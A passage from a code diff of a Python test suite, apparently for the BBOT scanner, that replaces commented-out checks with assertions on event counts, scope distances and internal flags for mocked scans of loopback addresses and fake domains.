"http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) - - # for _graph_output_events in (graph_output_events, graph_output_batch_events): - # assert len(_graph_output_events) == 8 - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) - - # # 2 events from a single HTTP_RESPONSE - # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - # "127.0.0.111/31", "127.0.0.222", "127.0.0.33", - # seeds=["127.0.0.111/31"], - # modules=["httpx"], - # output_modules=["python"], - # _config={ - # "dns": {"minimal": False, "search_distance": 2}, - # "scope": {"search_distance": 0, "report_distance": 0}, - # "excavate": True, - # "speculate": True, - # "modules": {"speculate": {"ports": "8888"}}, - # "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], - # }, - # ) - - # assert len(events) == 12 - # assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) - # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) - # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) - - # assert len(all_events) == 31 - # assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) - # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) - # assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) - - # assert len(all_events_nodups) == 27 - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) - - # for _graph_output_events in (graph_output_events, graph_output_batch_events): - # assert len(_graph_output_events) == 12 - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) - - # # sslcert with in-scope chain - # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - # "127.0.0.0/31", - # modules=["sslcert"], - # _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, - # _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}}, - # ) - - # assert len(events) == 7 - for e in events: - print(e) - return + # dns search distance = 3, report distance = 1 + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + "test.notreal", + scan_callback=custom_setup, + _config={"dns": {"minimal": False, "search_distance": 3}, "scope": {"report_distance": 1}}, + _dns_mock=dns_mock_chain, + ) + + assert len(events) == 5 + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) + assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + + assert len(all_events) == 8 + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + + assert len(all_events_nodups) == 6 + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + + for _graph_output_events in (graph_output_events, graph_output_batch_events): + assert len(_graph_output_events) == 7 + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + + # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + "127.0.0.1/31", + modules=["httpx"], + _config={ + "dns": {"minimal": False, "search_distance": 2}, + "scope": {"report_distance": 1, "search_distance": 0}, + "speculate": True, + "excavate": True, + "modules": {"speculate": {"ports": "8888"}}, + "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], + }, + _dns_mock={}, + ) + + assert len(events) == 7 + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + + assert len(all_events) == 14 + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + + assert len(all_events_nodups) == 12 + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + + for _graph_output_events in (graph_output_events, graph_output_batch_events): + assert len(_graph_output_events) == 7 + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + + # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + "127.0.0.1/31", + modules=["httpx"], + _config={ + "dns": {"minimal": False, "search_distance": 2}, + "scope": {"search_distance": 0, "report_distance": 1}, + "excavate": True, + "speculate": True, + "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, + "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], + }, + ) + + assert len(events) == 8 + # 2024-08-01 + # Removed OPEN_TCP_PORT("127.0.0.77:8888") + # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by httpx to generate the URL. it was graph-important. + # now for whatever reason, httpx is visiting the url directly and the open port isn't being used + # I don't know what changed exactly, but it doesn't matter, either way is equally valid and bbot is meant to be flexible this way. + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + assert 1 == len([e for e in events if e.type == "URL" and e.data == 